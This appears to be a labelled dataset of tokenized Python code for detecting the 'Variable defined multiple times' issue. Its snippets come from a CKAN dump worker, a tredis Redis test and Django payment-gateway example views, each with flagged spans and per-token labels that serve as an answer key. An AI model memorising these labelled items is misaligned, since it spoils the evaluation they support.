"stdin_", "=_", "getattr_", "(_", "sys_", "._", "stdin_", ",_", "'", "buffer", "'_", ",_", "sys_", "._", "stdin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "hack", " ", "so", " ", "tha", "t", " ", "pdb", " ", "can", " ", "be", " ", "used", " ", "in", " ", "extensi", "on", "/", "ckan", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "code", " ", "call", "ed", " ", "by", " ", "this", " ", "worker_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdin_", "=_", "open_", "(_", "'/", "dev", "/", "tt", "y", "'_", ",_", "'", "rb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "stdout_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stdout_", "=_", "getattr_", "(_", "sys_", "._", "stdout_", ",_", "'", "buffer", "'_", ",_", "sys_", "._", "stdout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "hack", " ", "so", " ", "tha", "t", " ", "\"", "print", " ", "debugg", "ing", "\"", " ", "can", " ", "work", " ", "in", " ", "extensi", "on", "/", "ckan", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "code", " ", "call", "ed", " ", "by", " ", "this", " ", "worker_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "sys_", "._", "stderr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "thing", "\\u", "show_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dataset", "s", "'_", ":_", "'", "package", "\\u", "show", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "'", "group", "\\u", "show", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "organization", "s", "'_", ":_", "'", "organization", "\\u", "show", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "users", "'_", ":_", "'", "user", "\\u", "show", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "relate", "d", "'_", ":_", "'", "relate", "d\\u", "show", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "[_", "thing_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "reply_", "(_", "error_", ",_", "record_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "format", " ", "message", "s", " ", "to", " ", "be", " ", "sent", " ", "back", " ", "to", " ", "parent", " ", "process", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdout_", "._", "write_", "(_", "compact", "\\u", "json_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "datetime_", "._", "now_", "(_", ")_", "._", "isoformat_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record_", "]_", ")_", "+_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "line_", "in_", "iter_", "(_", "stdin_", "._", "readline_", ",_", "b", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "json_", "._", "loads_", "(_", "line_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Unic", "ode", "Decode", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reply_", "(_", "'", "Unic", "ode", "Decode", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "ckan", "_", "._", "call", "\\u", "action_", "(_", "thing", "\\u", "show_", ",_", "{_", "'", "id", "'_", ":_", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "include", "\\u", "dataset", "s", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "include", "\\u", "password", "\\u", "hash", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reply_", "(_", "None_", ",_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reply_", "(_", "'", "Not", "Foun", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Authorized", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reply_", "(_", "'", "Not", "Authorized", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "datap", "ack", "age_", "(_", "record_", ",_", "base", "\\u", "path_", ",_", "stderr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "how", " ", "are", " ", "we", " ", "goi", "ng", " ", "to", " ", "handle", " ", "whi", "ch", " ", "resource", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "lea", "ve", " ", "alo", "ne", "?", " ", "The", "y", "'", "re", " ", "very", " ", "inconsistent", " ", "in", " ", "some", " ", "instances_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "And", " ", "I", " ", "can", "'", "t", " ", "imagin", "e", " ", "any", "one", " ", "want", "s", " ", "to", " ", "download", " ", "a", " ", "copy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", ",", " ", "for", " ", "example", ",", " ", "the", " ", "API", " ", "base", " ", "endpoint_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resource", "\\u", "formats", "\\u", "to", "\\u", "ignore_", "=_", "[_", "'", "API", "'_", ",_", "'", "api", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "\\u", "name_", "=_", "record_", "._", "get_", "(_", "'", "name", "'_", ",_", "''_", ")_", "if_", "record_", "else_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "dir_", "=_", "'{", "base", "\\u", "path", "}/", "{", "name", "}/", "data", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "path_", "=_", "base", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "dataset", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "target", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "._", "write_", "(_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "resource_", "in_", "record_", "._", "get_", "(_", "'", "resource", "s", "'_", ",_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "resource_", "._", "get_", "(_", "'", "name", "'_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resource", "\\u", "id_", "=_", "resource_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resource", "\\u", "id_", "=_", "resource_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "resource", "\\u", "filename_", "=_", "os_", "._", "path_", "._", "split_", "(_", "resource_", "[_", "'", "url", "'_", "]_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "output_", "=_", "os_", "._", "path_", "._", "join_", "(_", "target", "\\u", "dir_", ",_", "resource", "\\u", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reso", "urc", "es", " ", "can", " ", "have", " ", "a", " ", "free", "-", "form", " ", "address", " ", "and", " ", "no", " ", "internal", " ", "info", ",", " ", "so", " ", "in", " ", "tho", "se", " ", "cases_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", "'", "re", " ", "goi", "ng", " ", "to", " ", "mer", "el", "y", " ", "save", " ", "them", " ", "usi", "ng", " ", "the", " ", "UI", "D", ".", " ", "(", "If", " ", "the", "y", " ", "even", " ", "exist", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "output_", "._", "endswith_", "(_", "'/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "os_", "._", "path_", "._", "join_", "(_", "output_", ",_", "resource", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "resource_", "[_", "'", "path", "'_", "]_", "=_", "'", "data", "'_", "+_", "output_", "[_", "len_", "(_", "target", "\\u", "dir_", ")_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "resource_", "[_", "'", "format", "'_", "]_", "not_", "in_", "resource", "\\u", "formats", "\\u", "to", "\\u", "ignore_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "requests_", "._", "get_", "(_", "resource_", "[_", "'", "url", "'_", "]_", ",_", "stream_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "output_", ",_", "'", "wb", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "chunk_", "in_", "r_", "._", "iter", "\\u", "content_", "(_", "chunk", "\\u", "size_", "=_", "DL", "\\u", "CHUNK", "\\u", "SIZE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "chunk_", ":_", "#", " ", "filter", " ", "out", " ", "keep", "-", "alive", " ", "new", " ", "chunks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "f_", "._", "write_", "(_", "chunk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "requests_", "._", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "._", "write_", "(_", "'", "URL", " ", "{", "url", "}", " ", "refuse", "d", " ", "connecti", "on", ".", " ", "The", " ", "resource", " ", "will", " ", "not", " ", "be", " ", "download", "ed", "\\\\", "n", "'_", "._", "format_", "(_", "url_", "=_", "resource_", "[_", "'", "url", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "requests_", "._", "exceptions_", "._", "Request", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "._", "write_", "(_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stderr_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json", "\\u", "output", "\\u", "name_", "=_", "'{", "base", "\\u", "path", "}/", "{", "dataset", "\\u", "name", "}/", "datap", "ack", "age", ".", "json", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "path_", "=_", "base", "\\u", "path_", ",_", "dataset", "\\u", "name_", "=_", "dataset", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "json", "\\u", "output", "\\u", "name_", ",_", "'", "wb", "'_", ")_", "as_", "out_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "write_", "(_", "pretty", "\\u", "json_", "(_", "dict_", "(_", "record_", ",_", "version_", "=_", "DATA", "PACKAG", "E", "\\u", "VERSION_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "worker", "\\u", "command", "\\u", "line_", "(_", "thing_", ",_", "arguments_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "worker", " ", "command", " ", "line", " ", "suit", "able", " ", "for", " ", "Pop", "en", " ", "with", " ", "only", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "options", " ", "the", " ", "worker", " ", "process", " ", "require", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "a_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "options", " ", "with", " ", "values", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "name_", ",_", "arguments_", "[_", "name_", "]_", "]_", "*_", "(_", "arguments_", "[_", "name_", "]_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "b_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "boolean", " ", "options", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "name_", "]_", "*_", "bool_", "(_", "arguments_", "[_", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "ckan", "api", "'_", ",_", "'", "dump", "'_", ",_", "thing_", ",_", "'--", "worker", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "a_", "(_", "'--", "config", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "a_", "(_", "'--", "ckan", "-", "user", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "a_", "(_", "'--", "remote", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "a_", "(_", "'--", "api", "key", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "b_", "(_", "'--", "get", "-", "request", "'_", ")_", "\\u\\u\\uNL\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
gmr/tredis/tests/keys_tests.py
[ { "content": " @testing.gen_test\n def test_sort_alpha_asc_and_store(self):\n key1, key2, value1, value2, value3 = self.uuid4(5)\n result = yield self.client.sadd(key1, value1, value2, value3)\n self.assertTrue(result)\n result = yield self.client.sort(key1, alpha=True, store_as=key2)\n self.assertEqual(result, 3)\n result = yield self.client.type(key2)\n result = yield self.client._execute([b'LRANGE', key2, 0, 3])\n self.assertListEqual(result, sorted([value1, value2, value3]))\n result = yield self.client.delete(key1)\n self.assertTrue(result)\n result = yield self.client.delete(key2)\n self.assertTrue(result)", "metadata": "root.KeyCommandTests.test_sort_alpha_asc_and_store", "header": "['class', 'KeyCommandTests', '(', 'base', '.', 'AsyncTestCase', ')', ':', '___EOS___']", "index": 400 } ]
[ { "span": "result ", "start_line": 407, "start_column": 8, "end_line": 407, "end_column": 14 } ]
[ { "span": "result ", "start_line": 408, "start_column": 8, "end_line": 408, "end_column": 14 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Key", "Command", "Tests_", "(_", "base_", "._", "Async", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "testing_", "._", "gen", "\\u", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "sort", "\\u", "alpha", "\\u", "asc", "\\u", "and", "\\u", "store_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key1_", ",_", "key2_", ",_", "value1_", ",_", "value2_", ",_", "value", "3_", "=_", "self_", "._", "uuid4_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "sadd", "_", "(_", "key1_", ",_", "value1_", ",_", "value2_", ",_", "value", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "sort_", "(_", "key1_", ",_", "alpha_", "=_", "True_", ",_", "store", "\\u", "as_", "=_", "key2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "result_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "type_", "(_", "key2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "\\u", "execute_", "(_", "[_", "b", "'", "LR", "ANGE", "'_", ",_", "key2_", ",_", "0_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "List", "Equal_", "(_", "result_", ",_", "sorted_", "(_", "[_", "value1_", ",_", "value2_", ",_", "value", "3_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "delete_", "(_", "key1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "client_", "._", "delete_", "(_", "key2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
agiliq/merchant/example/app/views.py
[ { "content": "def authorize(request):\n amount = 1\n response = None\n if request.method == 'POST':\n form = CreditCardForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n credit_card = CreditCard(**data)\n merchant = get_gateway(\"authorize_net\")\n try:\n merchant.validate_card(credit_card)\n except CardNotSupported:\n response = \"Credit Card Not Supported\"\n response = merchant.purchase(amount, credit_card)\n #response = merchant.recurring(amount, credit_card)\n else:\n form = CreditCardForm(initial=GATEWAY_INITIAL['authorize_net'])\n return render(request, 'app/index.html', {'form': form,\n 'amount': amount,\n 'response': response,\n 'title': 'Authorize'})", "metadata": "root.authorize", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def paypal(request):\n amount = 1\n response = None\n if request.method == 'POST':\n form = CreditCardForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n credit_card = CreditCard(**data)\n merchant = get_gateway(\"pay_pal\")\n try:\n merchant.validate_card(credit_card)\n except CardNotSupported:\n response = \"Credit Card Not Supported\"\n # response = merchant.purchase(amount, credit_card, options={'request': request})\n response = merchant.recurring(amount, credit_card, options={'request': request})\n else:\n form = CreditCardForm(initial=GATEWAY_INITIAL['paypal'])\n return render(request, 'app/index.html', {'form': form,\n 'amount': amount,\n 'response': response,\n 'title': 'Paypal'})", "metadata": "root.paypal", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def eway(request):\n amount = 100\n response = None\n if request.method == 'POST':\n form = CreditCardForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n credit_card = CreditCard(**data)\n merchant = get_gateway(\"eway\")\n try:\n merchant.validate_card(credit_card)\n except CardNotSupported:\n response = \"Credit Card Not Supported\"\n billing_address = {'salutation': 'Mr.',\n 'address1': 'test',\n 'address2': ' street',\n 'city': 'Sydney',\n 'state': 'NSW',\n 'company': 'Test Company',\n 'zip': '2000',\n 'country': 'au',\n 'email': '[email protected]',\n 'fax': '0267720000',\n 'phone': '0267720000',\n 'mobile': '0404085992',\n 'customer_ref': 'REF100',\n 'job_desc': 'test',\n 'comments': 'any',\n 'url': 'http://www.google.com.au',\n }\n response = merchant.purchase(amount, credit_card, options={'request': request, 'billing_address': billing_address})\n else:\n form = CreditCardForm(initial=GATEWAY_INITIAL['eway'])\n return render(request, 'app/index.html', {'form': form,\n 'amount': amount,\n 'response': response,\n 'title': 'Eway'})", "metadata": "root.eway", "header": "['module', '___EOS___']", "index": 82 }, { "content": "def braintree(request):\n amount = 1\n response = None\n if request.method == 'POST':\n form = CreditCardForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n credit_card = CreditCard(**data)\n merchant = get_gateway(\"braintree_payments\")\n try:\n merchant.validate_card(credit_card)\n except CardNotSupported:\n response = \"Credit Card Not Supported\"\n response = merchant.purchase(amount, credit_card)\n else:\n form = CreditCardForm(initial=GATEWAY_INITIAL['braintree_payments'])\n\n return render(request, 'app/index.html', {'form': form,\n 'amount': amount,\n 'response': response,\n 'title': 'Braintree Payments (S2S)'})", "metadata": "root.braintree", "header": "['module', '___EOS___']", "index": 120 } ]
[ { "span": "response ", "start_line": 48, "start_column": 16, "end_line": 48, "end_column": 24 }, { "span": "response ", "start_line": 71, "start_column": 16, "end_line": 71, "end_column": 24 }, { "span": "response ", "start_line": 94, "start_column": 16, "end_line": 94, "end_column": 24 }, { "span": "response ", "start_line": 132, "start_column": 16, "end_line": 132, "end_column": 24 } ]
[ { "span": "response ", "start_line": 49, "start_column": 12, "end_line": 49, "end_column": 20 }, { "span": "response ", "start_line": 73, "start_column": 12, "end_line": 73, "end_column": 20 }, { "span": "response ", "start_line": 112, "start_column": 12, "end_line": 112, "end_column": 20 }, { "span": "response ", "start_line": 133, "start_column": 12, "end_line": 133, "end_column": 20 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "authorize_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "amount_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "Credit", "Card", "Form_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credit", "\\u", "card_", "=_", "Credit", "Card_", "(_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merchant", "_", "=_", "get", "\\u", "gateway_", "(_", "\"", "authoriz", "e\\u", "net", "\"_", ")_", 